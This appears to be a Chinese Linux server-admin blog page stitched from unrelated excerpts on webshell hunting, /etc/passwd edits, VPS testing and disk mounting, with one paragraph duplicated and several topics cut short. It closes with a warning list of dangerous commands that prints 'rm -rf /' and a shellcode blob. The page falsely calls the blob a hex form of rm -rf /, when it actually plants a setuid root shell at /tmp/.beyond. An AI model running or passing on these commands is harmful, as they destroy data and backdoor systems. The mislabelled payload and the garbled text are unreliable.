查找Centos Linux服务器上的WebShell后门
服务器被挂马或被黑的朋友应该知道,黑客入侵web服务器的第一目标是往服务器上上传一个webshell,有了webshell黑客就可以干更多的事情。网站被挂马后很多人会束手无策,无从查起,其实并不复杂,这里我将以php环境为例讲几个小技巧,希望对大家有帮助。
先讲一下思路,如果服务器上被上传了webshell那么我们肯定能够查到蛛丝马迹,比如php文件的时间,如果我们可以查找最后一次网站代码更新以后的所有php文件,方法如下。
服务器被挂马或被黑的朋友应该知道,黑客入侵web服务器的第一目标是往服务器上上传一个webshell,有了webshell黑客就可以干更多的事情。网站被挂马后很多人会束手无策,无从查起,其实并不复杂,这里我将以php环境为例讲几个小技巧,希望对大家有帮助。
先讲一下思路,如果服务器上被上传了webshell那么我们肯定能够查到蛛丝马迹,比如php文件的时间,如果我们可以查找最后一次网站代码更新以后的所有php文件,方法如下。
今天帮一个客户配置环境,发现VSFTP安装后,FTP用户主目录居然不对。然后搜索了一下,找到了一个不错的方法,现在转载如下。
第一:修改/etc/passwd文件
第二:usermod命令
详细说明如下:
第一种方法:vi /etc/passwd
找到要修改的用户那几行,修改掉即可。此法很暴力,建议慎用。
/etc/passwd文件格式
登录名:加密口令:数字用户ID:数字组ID:注释字段:起始目录:shell程序
很多同学在购买新的VPS以后,常常问deepvps应该如何进行测试,来确定自己购买的VPS性能。deepvps一直想写一个Linux VPS 测试教程。无奈年底太忙了,一直抽不出时间。今天在HOSTLOC上正好看到小夜同学整理的资料。内容挺全,现转载如下:
一、CPU信息及性能查看
先使用命令,得到你的CPU信息,你也可以在探针里面看,探针里面比较详细。
CentOS 6.1 正式版发布了,这是真的。CentOS 6.1 基于红帽企业Linux 6.1。CentOS(Community ENTerprise Operating System)是Linux发行版之一,它是来自于Red Hat Enterprise Linux依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定性的服务器以CentOS替代商业版的Red Hat Enterprise Linux使用。两者的不同,在于CentOS并不包含封闭源代码软件。
以前挂载硬盘都是直接用LVM扩容,详见以前的文章《XenSystem CentOS/Linux VPS下启用(挂载)未使用的硬盘空间图文教程》。这样只要硬盘损坏,或者重新安装系统就会造成数据丢失。现在介绍一种新的方法,可以重新安装系统数据不丢失,直接把分区挂载在home目录上。
首先通过fdisk -l 查看硬盘,这里我们可以看到2块硬盘 /dev/xvda 是系统盘 10G大小, 还有/dev/xvdb 第二块硬盘。
Linux VPS有CPU限制吗?这个问题,您仔细想一下就能明白的,肯定有限制。
为什么? 因为一个服务器上会有多个VPS,大家都是共用服务器的CPU资源。如果不限制每个vps的cpu,一旦某个vps的程序出现无限循环的漏洞,或在进行大量的采集活动,将影响整个服务器上其他的VPS客户,因此,为了服务器的稳定,任何一个vps平台都有自动监控CPU使用情况的。一旦发现某个vps长期占用很多CPU资源,那么就会直接中断这个vps上占用cpu资源较多的程序。情节严重的,可能会临时关闭vps。
如何快速估计/估算Linux VPS的月流量使用情况?一定要安装流量监控软件才能做到吗?当然不是,deepvps 告诉您一个非常方便、准确的办法,不用安装MRTG等流量监控软件,就可以估算您1个月需要多少流量。 方法如下:
首先您执行一次ifconfig -a命令,找到RX bytes:1973174498 (1.8 GiB) TX bytes:125331670357 (116.7 GiB),记录下来。
[root@deepvps]# ifconfig -a
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:9009 errors:0 dropped:0 overruns:0 frame:0
TX packets:9009 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:556436 (543.3 KiB) TX bytes:556436 (543.3 KiB)
在 Windows、Linux 操作系统,分别利用BAT批处理文件和Shell脚本,生成类似“2011071_082905.txt”以“年月日_时分秒”命名的文件。
Windows BAT批处理文件:
@echo off set time_hh=%time:~0,2% if /i %time_hh% LSS 10 (set time_hh=0%time:~1,1%) set filename=%date:~,4%%date:~5,2%%date:~8,2%_%time_hh%%time:~3,2%%time:~6,2% echo test >> %filename%.txt
Linux Shell 脚本:
#!/bin/sh echo test >> $(date -d "today" +"%Y%m%d_%H%M%S").txt
有个办法是查看 lost+found 目录状态,因为这个目录一般很少用到,改动最少(很可能无任何改动),而其他目录比如 /bin, /home 等因为经常升级系统、创建用户等操作会修改目录状态。
$ stat /lost+found/
File: `/lost+found/’
Size: 16384 Blocks: 32 IO Block: 4096 directory
Device: 805h/2053d Inode: 11 Links: 2
Access: (0700/drwx——) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-03-11 02:40:20.000000000 -0800
Modify: 2010-03-10 19:14:34.000000000 -0800
Change: 2010-03-10 19:14:34.000000000 -0800
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
2.char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。